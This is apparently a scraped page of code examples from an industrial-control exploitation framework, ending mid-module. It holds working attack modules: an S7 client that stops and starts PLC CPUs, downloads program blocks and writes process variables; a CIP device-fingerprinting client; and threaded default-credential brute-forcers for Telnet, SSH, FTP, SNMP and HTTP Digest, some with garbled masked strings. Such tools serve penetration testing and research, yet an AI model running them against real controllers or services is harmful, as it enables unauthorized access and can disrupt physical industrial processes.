        file_name = '_' + file_block_type + file_block_num + dist

        load_memory_length = '0' * (6 - len(str(mem_length))) + str(mem_length)
        mc7_length = '0' * (6 - len(str(mc7_length))) + str(mc7_length)
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job",
            Parameters=S7RequestDownloadParameterReq(
                Filename=file_name,
                LoadMemLength=load_memory_length,
                MC7Length=mc7_length))
        rsp1 = self.send_receive_s7_packet(packet1)
        if rsp1.ErrorClass != 0x0:
            self.logger.error("Can't Download %s%s to targets" %
                              (block_type, block_num))
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp1.ErrorClass, rsp1.ErrorCode))
            return None

        if len(rsp1) > 20:
            download_req = TPKT(rsp1.load)
        else:
            download_req = self.receive_s7_packet()
        # Get pdur from download_req
        self._pdur = download_req.PDUR
        # DownloadBlock
        for i in range(0, len(block_data), transfer_size):
            if i + transfer_size <= len(block_data):
                packet2 = TPKT() / COTPDT(EOT=1) / S7Header(
                    ROSCTR="AckData",
                    Parameters=S7DownloadParameterRsp(FunctionStatus=1),
                    Data=S7DownloadDataRsp(Data=block_data[i:i +
                                                           transfer_size]))
                rsp2 = self.send_receive_s7_packet(packet2)
                self._pdur = rsp2.PDUR
            else:
                packet2 = TPKT() / COTPDT(EOT=1) / S7Header(
                    ROSCTR="AckData",
                    Parameters=S7DownloadParameterRsp(FunctionStatus=0),
                    Data=S7DownloadDataRsp(Data=block_data[i:i +
                                                           transfer_size]))
                self.send_s7_packet(packet2)
        # DownloadBlockEnd
        download_end_req = self.receive_s7_packet()
        self._pdur = download_end_req.PDUR
        packet3 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="AckData", Parameters=S7DownloadEndParameterRsp())
        self.send_s7_packet(packet3)
        self.logger.info("Download %s%s to target succeed" %
                         (block_type, block_num))

    def get_target_status(self):
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="UserData",
            Parameters=S7ReadSZLParameterReq(),
            Data=S7ReadSZLDataReq(SZLId=0x0424, SZLIndex=0x0000))
        rsp = self.send_receive_s7_packet(packet1)
        status = str(rsp)[44]
        if status == '\x08':
            self.logger.info("Target is in run mode")
            self.is_running = True
        elif status == '\x04':
            self.logger.info("Target is in stop mode")
            self.is_running = False
        else:
            self.logger.info("Target is in unknown mode")
            self.is_running = False

    def stop_target(self):
        self.get_target_status()
        if not self.is_running:
            self.logger.info("Target is already stop")
            return
        self.logger.info("Trying to stop targets")
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job", Parameters=S7StopCpuParameterReq())
        rsp1 = self.send_receive_s7_packet(packet1)
        if rsp1.ErrorClass != 0x0:
            self.logger.error("Can't Stop Target")
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp1.ErrorClass, rsp1.ErrorCode))
            return
        time.sleep(2)  # wait targets to stop
        self.get_target_status()

    def start_target(self, cold=False):
        """ Start target PLC

        :param cold: Doing cold restart, True or False.
        """
        self.get_target_status()
        if self.is_running:
            self.logger.info("Target is already running")
            return
        self.logger.info("Trying to start targets")

        if cold:
            packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
                ROSCTR="Job",
                Parameters=S7PIServiceParameterReq(
                    ParameterBlock=S7PIServiceParameterStringBlock()))
        else:
            packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
                ROSCTR="Job", Parameters=S7PIServiceParameterReq())

        rsp1 = self.send_receive_s7_packet(packet1)
        if rsp1.ErrorClass != 0x0:
            self.logger.error("Can't Start Target")
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp1.ErrorClass, rsp1.ErrorCode))
            return
        time.sleep(2)  # wait targets to start
        self.get_target_status()

    @staticmethod
    def get_transport_size_from_data_type(data_type):
        for key, name in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.items():
            if isinstance(data_type, str):
                if name.startswith(data_type.upper()):
                    return key
            elif isinstance(data_type, int):
                return data_type
        return None

    def get_item_pram_from_item(self, item):
        block_num = ''
        area_type = ''
        address = ''
        transport_size = ''
        try:
            for key in VAR_NAME_TYPES:
                if isinstance(item[0], str):
                    if item[0].startswith(key):
                        area_type = VAR_NAME_TYPES[key]

                elif isinstance(item[0], int):
                    if item[0] in VAR_NAME_TYPES.keys():
                        area_type = item[0]

            # Data block
            if area_type == 0x84:
                block_num = int(item[0][2:])
            else:
                block_num = 0

            if isinstance(item[1], str):
                address_data = item[1].split('.')
                address = int(address_data[0]) * 8 + int(address_data[1])

            elif isinstance(item[1], int):
                address = item[1]

            else:
                self.logger.error(
                    "Address: %s is not string or int format, please check again"
                    % item[1])

            transport_size = self.get_transport_size_from_data_type(item[2])

        except Exception as err:
            self.logger.error(
                "Can't get item parameter with var_name: %s with error: \r %s"
                % (item, err))
            return transport_size, block_num, area_type, address

        return transport_size, block_num, area_type, address

    @staticmethod
    def bytes_to_bit_array(bytes_data):
        bit_array = ""
        for data in bytes_data:
            bit_array += '{:08b}'.format(ord(data))
        return map(int, list(bit_array))

    def _unpack_data_with_transport_size(self, req_item, rsp_item):
        # ref http://www.plcdev.com/step_7_elementary_data_types
        if isinstance(rsp_item, S7ReadVarDataItemsRsp):
            try:
                req_type = req_item.TransportSize
                if req_type not in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.keys():
                    return []
                # BIT (0x01)
                elif req_type == 0x01:
                    bit_list = self.bytes_to_bit_array(rsp_item.Data)
                    return bit_list[-1:][0]
                # BYTE (0x02)
                elif req_type == 0x02:
                    byte_list = list(rsp_item.Data)
                    return map(ord, byte_list)
                # CHAR (0x03)
                elif req_type == 0x03:
                    char_list = list(rsp_item.Data)
                    return char_list
                # WORD (0x04) 2 bytes Decimal number unsigned
                elif req_type == 0x04:
                    word_data = rsp_item.Data
                    word_list = [
                        struct.unpack('!H', word_data[i:i + 2])[0]
                        for i in range(0, len(word_data), 2)
                    ]
                    return word_list
                # INT (0x05) 2 bytes Decimal number signed
                elif req_type == 0x05:
                    int_data = rsp_item.Data
                    int_list = [
                        struct.unpack('!h', int_data[i:i + 2])[0]
                        for i in range(0, len(int_data), 2)
                    ]
                    return int_list
                # DWORD (0x06) 4 bytes Decimal number unsigned
                elif req_type == 0x06:
                    dword_data = rsp_item.Data
                    dword_list = [
                        struct.unpack('!I', dword_data[i:i + 4])[0]
                        for i in range(0, len(dword_data), 4)
                    ]
                    return dword_list
                # DINT (0x07) 4 bytes Decimal number signed
                elif req_type == 0x07:
                    dint_data = rsp_item.Data
                    dint_list = [
                        struct.unpack('!i', dint_data[i:i + 4])[0]
                        for i in range(0, len(dint_data), 4)
                    ]
                    return dint_list
                # REAL (0x08) 4 bytes IEEE Floating-point number
                elif req_type == 0x08:
                    dint_data = rsp_item.Data
                    dint_list = [
                        struct.unpack('!f', dint_data[i:i + 4])[0]
                        for i in range(0, len(dint_data), 4)
                    ]
                    return dint_list
                else:
                    return rsp_item.Data

            except Exception as err:
                return []
        return []

    @staticmethod
    def _pack_data_with_transport_size(req_item, data_list):
        # ref http://www.plcdev.com/step_7_elementary_data_types
        if isinstance(req_item, S7WriteVarItemsReq):
            try:
                req_type = req_item.TransportSize
                if req_type not in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.keys():
                    return []
                # BIT (0x01)
                elif req_type == 0x01:
                    # Only support write 1 bit.
                    if isinstance(data_list, list):
                        bit_data = chr(data_list[0])
                    else:
                        bit_data = chr(data_list)
                    return bit_data
                # BYTE (0x02)
                elif req_type == 0x02:
                    byte_data = ''.join(chr(x) for x in data_list)
                    return byte_data
                # CHAR (0x03)
                elif req_type == 0x03:
                    char_data = ''.join(x for x in data_list)
                    return char_data
                # WORD (0x04) 2 bytes Decimal number unsigned
                elif req_type == 0x04:
                    word_data = ''.join(
                        struct.pack('!H', x) for x in data_list)
                    return word_data
                # INT (0x05) 2 bytes Decimal number signed
                elif req_type == 0x05:
                    int_data = ''.join(struct.pack('!h', x) for x in data_list)
                    return int_data
                # DWORD (0x06) 4 bytes Decimal number unsigned
                elif req_type == 0x06:
                    dword_data = ''.join(
                        struct.pack('!I', x) for x in data_list)
                    return dword_data
                # DINT (0x07) 4 bytes Decimal number signed
                elif req_type == 0x07:
                    dint_data = ''.join(
                        struct.pack('!i', x) for x in data_list)
                    return dint_data
                # REAL (0x08) 4 bytes IEEE Floating-point number
                elif req_type == 0x08:
                    real_data = ''.join(
                        struct.pack('!f', x) for x in data_list)
                    return real_data
                # Other data
                else:
                    other_data = ''.join(x for x in data_list)
                    return other_data

            except Exception as err:
                return ''
        return ''

    @staticmethod
    def _convert_transport_size_from_parm_to_data(parm_transport_size):
        if parm_transport_size not in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.keys():
            return None
        else:
            # BIT (0x03)
            if parm_transport_size == 0x01:
                return 0x03
            # BYTE/WORD/DWORD (0x04)
            elif parm_transport_size in (0x02, 0x04, 0x06):
                return 0x04
            # INTEGER (0x05)
            elif parm_transport_size in (0x05, 0x07):
                return 0x05
            # REAL (0x07)
            elif parm_transport_size == 0x08:
                return 0x07
            # OCTET STRING (0x09)
            else:
                return 0x09

    def read_var(self, items):
        """

        :param items:
        :return: Return data list of read_var items.
        """
        read_items = []
        items_data = []

        if isinstance(items, list):
            for i in range(len(items)):
                try:
                    transport_size, block_num, area_type, address = self.get_item_pram_from_item(
                        items[i])
                    length = int(items[i][3])
                    if transport_size:
                        read_items.append(
                            S7ReadVarItemsReq(TransportSize=transport_size,
                                              GetLength=length,
                                              BlockNum=block_num,
                                              AREAType=area_type,
                                              Address=address))
                except Exception as err:
                    self.logger.error(
                        "Can't create read var packet because of: \r %s" % err)
                    return None
        else:
            self.logger.error("items is not list please check again")
            return None

        packet = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job", Parameters=S7ReadVarParameterReq(Items=read_items))
        rsp = self.send_receive_s7_packet(packet)
        if rsp.ErrorClass != 0x0:
            self.logger.error("Can't Read var from Target")
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp.ErrorClass, rsp.ErrorCode))
            return None
        if rsp.haslayer(S7ReadVarDataItemsRsp):
            for i in range(len(rsp[S7ReadVarDataRsp].Items)):
                req_item = read_items[i][S7ReadVarItemsReq]
                rsp_item = rsp[S7ReadVarDataRsp].Items[i]
                if rsp_item.ReturnCode == 0xff:
                    rsp_item_data = self._unpack_data_with_transport_size(
                        req_item, rsp_item)
                    items_data.append(rsp_item_data)
                else:
                    items_data.append('')
        return items_data

    def write_var(self, items):
        """

        :param items:
        :return:
        """
        write_items = []
        items_data = []
        write_data_rsp = []
        if isinstance(items, list):
            for i in range(len(items)):
                try:
                    transport_size, block_num, area_type, address = self.get_item_pram_from_item(
                        items[i])
                    length = len(items[i][3])
                    if transport_size:
                        write_items.append(
                            S7WriteVarItemsReq(TransportSize=transport_size,
                                               ItemCount=length,
                                               BlockNum=block_num,
                                               AREAType=area_type,
                                               BitAddress=address))
                        write_data = self._pack_data_with_transport_size(
                            write_items[i], items[i][3])
                        items_data.append(
                            S7WriteVarDataItemsReq(
                                TransportSize=self.
                                _convert_transport_size_from_parm_to_data(
                                    transport_size),
                                Data=write_data))
                except Exception as err:
                    self.logger.error(
                        "Can't create write var packet because of: \r %s" %
                        err)
                    return None
        else:
            self.logger.error("items is not list please check again")
            return None

        packet = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job",
            Parameters=S7WriteVarParameterReq(Items=write_items),
            Data=S7WriteVarDataReq(Items=items_data))
        rsp = self.send_receive_s7_packet(packet)
        if rsp.ErrorClass != 0x0:
            self.logger.error("Can't write var to Target.")
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp.ErrorClass, rsp.ErrorCode))
            return None
        if rsp.haslayer(S7WriteVarDataRsp):
            for rsp_items in rsp[S7WriteVarDataRsp].Items:
                write_data_rsp.append(rsp_items.ReturnCode)
            return write_data_rsp
        else:
            self.logger.error("Unknown response packet format.")
            return None
コード例 #11
0
class Exploit(Base):
    __info__ = {
        'name': 'clients/cip',
        'display_name': 'CIP Client',
        'description': '',
        'authors': [
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('', 'Target IP address')
    port = Option(44818, 'Target port')
    timeout = Option(2, 'Connection timeout')

    def __init__(self, name=""):
        if name is not None:
            super(Exploit, self).__init__(name)
        else:
            super(Exploit, self).__init__('CipClient')
        self._connection = None
        self._target_info = {}
        self._session = 0x0
        self.target_info = {}

    def run(self):
        self.connect()

    def connect(self):
        sock = socket.socket()
        sock.settimeout(self.timeout)
        sock.connect((self.target, self.port))
        self._connection = StreamSocket(sock, Raw)
        packet_1 = ENIPHeader(Command=0x65) / RegisterSession()
        rsp_1 = self.send_receive_cip_packet(packet_1)
        try:
            if rsp_1.haslayer(ENIPHeader):
                self._session = rsp_1.Session
        except Exception as err:
            self.logger.error(err)
            return

    def reconnect(self):
        self.connect()

    def _fix_session(self, packet):
        try:
            packet.Session = self._session
            return packet
        except Exception as err:
            self.logger.error(err)
            return packet

    def send_packet(self, packet):
        if self._connection:
            try:
                self._connection.send(packet)

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before send packet!")

    def send_receive_packet(self, packet):
        if self._connection:
            try:
                rsp = self._connection.sr1(packet, timeout=self.timeout)
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before send packet!")

    def receive_packet(self):
        if self._connection:
            try:
                rsp = self._connection.recv()
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before receive packet!")

    def send_cip_packet(self, packet):
        if self._connection:
            packet = self._fix_session(packet)
            try:
                self._connection.send(packet)

            except Exception as err:
                self.logger.error(err)
                return None
        else:
            self.logger.error("Please create connect before send packet!")

    def send_receive_cip_packet(self, packet):
        if self._connection:
            packet = self._fix_session(packet)
            # packet.show2()
            try:
                rsp = self._connection.sr1(packet, timeout=self.timeout)
                if rsp:
                    rsp = ENIPHeader(str(rsp))
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before send packet!")

    def receive_cip_packet(self):
        if self._connection:
            try:
                rsp = self._connection.recv()
                if rsp:
                    rsp = ENIPHeader(str(rsp))
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None
        else:
            self.logger.error("Please create connect before receive packet!")

    def get_target_info(self, port=0x01, port_segment=0x00):
        product_name = ''
        device_type = ''
        vendor = ''
        revision = ''
        serial_number = ''
        info_packet = ENIPHeader(Command=0x6f) / CIPCommandSpecificData() / \
                      CIPHeader(Type="Request", Service=0x52, ) / \
                      CIPConnectionManager()
        info_packet[CIPCommandSpecificData].Items = [
            NullAddressItem(), UnconnectedDataItem()
        ]
        info_packet[CIPHeader].RequestPath = [
            CIPRequestPath(PathSegmentType=1, InstanceSegment=0x06),
            CIPRequestPath(PathSegmentType=1,
                           LogicalSegmentType=0x01,
                           InstanceSegment=0x01)
        ]
        info_packet[CIPConnectionManager].MessageRequest = CIPHeader(
            Type="Request",
            Service=0x01,
            RequestPath=[
                CIPRequestPath(PathSegmentType=1, InstanceSegment=0x01),
                CIPRequestPath(PathSegmentType=1,
                               LogicalSegmentType=0x01,
                               InstanceSegment=0x01)
            ])
        info_packet[CIPRoutePath].Port = port
        info_packet[CIPRoutePath].PortSegment = port_segment
        rsp = self.send_receive_cip_packet(info_packet)
        if rsp.haslayer(CIPHeader):
            if rsp[CIPHeader].GeneralStatus == 0x00:
                try:
                    if rsp.haslayer(GetAttributesAll):
                        product_name = rsp[GetAttributesAll].ProductName
                        device_type = rsp[GetAttributesAll].DeviceType
                        if device_type in DEVICE_TYPES.keys():
                            device_type = DEVICE_TYPES[device_type]
                        else:
                            device_type = "%s (%s)" % (product_name,
                                                       hex(device_type))
                        vendor = rsp[GetAttributesAll].VendorID
                        if vendor in VENDOR_IDS.keys():
                            vendor = VENDOR_IDS[vendor]
                        else:
                            vendor = "%s (%s)" % (product_name, hex(vendor))
                        revision = str(rsp[GetAttributesAll].MajorRevision) + '.' \
                                   + str(rsp[GetAttributesAll].MinorRevision)
                        serial_number = hex(rsp[GetAttributesAll].SerialNumber)
                except Exception as err:
                    pass

            else:
                self.logger.warning(
                    "Got Error Code:%s when get target info with port:%s and port_segment:%s"
                    % (port, port_segment, rsp[CIPHeader].GeneralStatus))
        return product_name, device_type, vendor, revision, serial_number
コード例 #12
0
class Exploit(Exploit):
    """
    Module perform dictionary attack with default credentials against Telnet service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'credentials/telnet/default',
        'display_name':
        'Telnet Default Creds',
        'description':
        'Module perform dictionary attack with default credentials against Telnet service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            'https://github.com/dark-lbp/isf',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('', 'Target IP address or file with target:port (file://)')
    port = Option(23, 'Target port')

    threads = Option(8, 'Numbers of threads')
    defaults = Option(Wordlists.telnet_defaults,
                      'User:Pass or file with default credentials (file://)')
    verbosity = Option('yes', 'Display authentication attempts')
    stop_on_success = Option('yes',
                             'Stop on first valid authentication attempt')

    credentials = []

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        try:
            tn = telnetlib.Telnet(self.target, self.port)
            tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(
                self.target, self.port))
            return

        if self.defaults.startswith('file://'):
            defaults = open(self.defaults[7:], 'r')
        else:
            defaults = [self.defaults]

        collection = LockedIterator(defaults)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            printTable(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name
        print_status(name, 'process is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                line = data.next().split(":")
                user = line[0].strip()
                password = line[1].strip()
            except StopIteration:
                break
            else:
                retries = 0
                while retries < 3:
                    try:
                        tn = telnetlib.Telnet(self.target, self.port)
                        tn.expect(["Login: "******"login: "******"\r\n")
                        tn.expect(["Password: "******"password"], 5)
                        tn.write(password + "\r\n")
                        tn.write("\r\n")

                        (i, obj, res) = tn.expect(["Incorrect", "incorrect"],
                                                  5)
                        tn.close()

                        if i != -1:
                            print_error(
                                "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                                .format(self.target, self.port, name, user,
                                        password),
                                verbose=module_verbosity)
                        else:
                            if any(map(lambda x: x in res, [
                                    "#", "$", ">"
                            ])) or len(res) > 500:  # big banner e.g. mikrotik
                                if boolify(self.stop_on_success):
                                    running.clear()

                                print_success(
                                    "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                                    .format(self.target, self.port, name, user,
                                            password),
                                    verbose=module_verbosity)
                                self.credentials.append(
                                    (self.target, self.port, user, password))
                        tn.close()
                        break
                    except EOFError:
                        print_error(name,
                                    "Connection problem. Retrying...",
                                    verbose=module_verbosity)
                        retries += 1

                        if retries > 2:
                            print_error(
                                "Too much connection problems. Quiting...",
                                verbose=module_verbosity)
                            return
                        continue

        print_status(name, 'process is terminated.', verbose=module_verbosity)
コード例 #13
0
class Exploit(Exploit):
    """
    Module perform dictionary attack with default credentials against SSH service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'credentials/ssh/default',
        'display_name':
        'SSH Default Creds',
        'description':
        'Module perform dictionary attack with default credentials against SSH service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            'https://github.com/dark-lbp/isf',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('', 'Target IP address or file with target:port (file://)')
    port = Option(22, 'Target port')
    threads = Option(8, 'Numbers of threads')
    defaults = Option(Wordlists.defaults,
                      'User:Pass or file with default credentials (file://)')
    verbosity = Option('yes', 'Display authentication attempts')
    stop_on_success = Option('yes',
                             'Stop on first valid authentication attempt')

    credentials = []

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        ssh = paramiko.SSHClient()

        try:
            ssh.connect(self.target, port=self.port)
        except socket.error:
            print_error("Connection error: %s:%s" %
                        (self.target, str(self.port)))
            ssh.close()
            return
        except:
            pass

        ssh.close()

        if self.defaults.startswith('file://'):
            defaults = open(self.defaults[7:], 'r')
        else:
            defaults = [self.defaults]

        collection = LockedIterator(defaults)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            printTable(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        print_status(name, 'process is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                line = data.next().split(":")
                user = line[0].strip()
                password = line[1].strip()
                ssh.connect(self.target,
                            int(self.port),
                            timeout=5,
                            username=user,
                            password=password)
            except StopIteration:
                break
            except paramiko.ssh_exception.SSHException as err:
                ssh.close()

                print_error(
                    "Target: {}:{} {}: {} Username: '******' Password: '******'".
                    format(self.target, self.port, name, err, user, password),
                    verbose=module_verbosity)
            else:
                if boolify(self.stop_on_success):
                    running.clear()

                print_success(
                    "Target: {}:{} {} Authentication Succeed - Username: '******' Password: '******'"
                    .format(self.target, self.port, name, user, password),
                    verbose=module_verbosity)
                self.credentials.append(
                    (self.target, self.port, user, password))

        print_status(name, 'process is terminated.', verbose=module_verbosity)
コード例 #14
0
class Exploit(Exploit):
    """
    Module perform dictionary attack with default credentials against FTP service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'credentials/ftp/default',
        'display_name':
        'FTP Default Credentials',
        'description':
        'Module perform dictionary attack with default credentials against FTP service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            'https://github.com/dark-lbp/isf',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('192.168.1.1',
                    'Target IP address or file with target:port (file://)')
    port = Option(21, 'Target port')

    threads = Option(8, 'Numbers of threads')
    defaults = Option(
        Wordlists.ftp_defaults,
        'User:Pass pair or file with default credentials (file://)')
    verbosity = Option('yes', 'Display authentication attempts')
    stop_on_success = Option('yes',
                             'Stop on first valid authentication attempt')

    credentials = []

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        ftp = ftplib.FTP()
        try:
            ftp.connect(self.target, port=int(self.port), timeout=10)
        except (socket.error, socket.timeout):
            print_error("Connection error: %s:%s" %
                        (self.target, str(self.port)))
            ftp.close()
            return
        except:
            pass
        ftp.close()

        if self.defaults.startswith('file://'):
            defaults = open(self.defaults[7:], 'r')
        else:
            defaults = [self.defaults]

        collection = LockedIterator(defaults)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            printTable(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'process is starting...', verbose=module_verbosity)

        ftp = ftplib.FTP()
        while running.is_set():
            try:
                line = data.next().split(":")
                user = line[0].strip()
                password = line[1].strip()
            except StopIteration:
                break
            else:
                retries = 0
                while retries < 3:
                    try:
                        ftp.connect(self.target,
                                    port=int(self.port),
                                    timeout=10)
                        break
                    except:
                        print_error(
                            "{} Connection problem. Retrying...".format(name),
                            verbose=module_verbosity)
                        retries += 1

                        if retries > 2:
                            print_error(
                                "Too much connection problems. Quiting...",
                                verbose=module_verbosity)
                            return

                try:
                    ftp.login(user, password)

                    if boolify(self.stop_on_success):
                        running.clear()

                    print_success(
                        "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
                    self.credentials.append(
                        (self.target, self.port, user, password))
                except:
                    print_error(
                        "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)

                ftp.close()

        print_status(name, 'process is terminated.', verbose=module_verbosity)
コード例 #15
0
class Exploit(Exploit):
    __info__ = {
        'name': 'discovery/netdiscover',
        'display_name': 'Passive ARP Host Discovery',
        'authors': [
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'description': 'Passive host discovery using Netdiscover.',
        'references': [
            'https://github.com/alexxy/netdiscover',
        ],
        'devices': [
            'Multi'
        ],
    }

    result = []
    target = Option('', "Target IP range ex 192.168.0.0/24 /16 /8. Empty for auto mode.", validators=Validators.ipv4)
    iface = Option('eth0', "Interface for ARP packet capture.")
    mode = Option('passive', 'Discover mode: active (send packets) or passive (listen only).')
    timeout = Option(15, 'Capture timeout in seconds.')

    def run(self):
        try:
            try:
                if self.target == "":
                    if self.mode == 'active':
                        p = subprocess.Popen(['netdiscover', '-i', self.iface, '-P', '-N'], stdout=subprocess.PIPE)
                    else:
                        p = subprocess.Popen(['netdiscover', '-i', self.iface, '-p', '-P', '-N'],
                                             stdout=subprocess.PIPE)
                else:
                    if self.mode == 'active':
                        p = subprocess.Popen(['netdiscover', '-i', self.iface, '-r', self.target, '-P', '-N'],
                                             stdout=subprocess.PIPE)
                    else:
                        p = subprocess.Popen(['netdiscover', '-i', self.iface, '-r', self.target, '-p', '-P', '-N'],
                                             stdout=subprocess.PIPE)
                output, error = p.communicate(timeout=self.timeout)
            except:
                p.kill()
                output, error = p.communicate()

            for x in output.decode().split('\n'):
                if x != "":
                    if len(x.split()) >= 5:
                        self.result.append([x.split()[0],x.split()[1],x.split()[2], x.split()[3], " ".join(x.split()[4:])])
                    else:
                        self.result.append([x.split()[0], x.split()[1], x.split()[2], x.split()[3], ""])
            unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
            unique_device = sorted(unique_device, key=lambda x: (x[0], x[1]))
            if len(self.result) > 0:
                print_success("Found %s devices." % len(self.result))
                printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 50})
                print('\r')
                self.result = []
            else:
                print_error("Didn't find any device on network %s" % self.target)
        except Exception as e:
            print_error(e)
            print_error("Discovery Error. Aborting. May increase timeout.")
class Exploit(Exploit):
    """
    Module performs bruteforce attack against SNMP service.
    If valid community string is found, it is displayed to the user.
    """
    __info__ = {
        'name':
        'credentials/snmp/bruteforce',
        'name':
        'SNMP Bruteforce',
        'description':
        'Module performs bruteforce attack against SNMP service. '
        'If valid community string is found, it is displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            'https://github.com/dark-lbp/isf',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('', 'Target IP address or file with target:port (file://)')
    port = Option(161, 'Target port', validators=Validators.integer)
    version = Option(2,
                     'Snmp version 1:v1, 2:v2c',
                     validators=Validators.integer)
    threads = Option(8, 'Number of threads')
    snmp = Option(Wordlists.snmp,
                  'Community string or file with community strings (file://)')
    verbosity = Option('yes', 'Display authentication attempts')
    stop_on_success = Option('yes', 'Stop on first valid community string')
    strings = []

    def run(self):
        self.strings = []
        self.attack()

    @multi
    def attack(self):
        # todo: check if service is up
        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Community Strings")
            printTable(headers, *self.strings)
        else:
            print_error("Valid community strings not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)

        cmdGen = cmdgen.CommandGenerator()
        while running.is_set():
            try:
                string = data.next().strip()

                errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
                    cmdgen.CommunityData(string, mpModel=self.version - 1),
                    cmdgen.UdpTransportTarget((self.target, self.port)),
                    '1.3.6.1.2.1.1.1.0',
                )

                if errorIndication or errorStatus:
                    print_error(
                        "Target: {}:{} {}: Invalid community string - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                else:
                    if boolify(self.stop_on_success):
                        running.clear()
                    print_success(
                        "Target: {}:{} {}: Valid community string found - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                    self.strings.append((self.target, self.port, string))

            except StopIteration:
                break

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(Exploit):
    """
    Module performs bruteforce attack against HTTP Digest Auth service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'credentials/http/digest_bruteforce',
        'display_name':
        'HTTP Digest Bruteforce',
        'description':
        'Module performs bruteforce attack against HTTP Digest Auth service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',
            'Alexander Yakovlev <https://github.com/toxydose>',
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            'https://github.com/dark-lbp/isf',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('192.168.1.1',
                    'Target IP address or file with target:port (file://)')
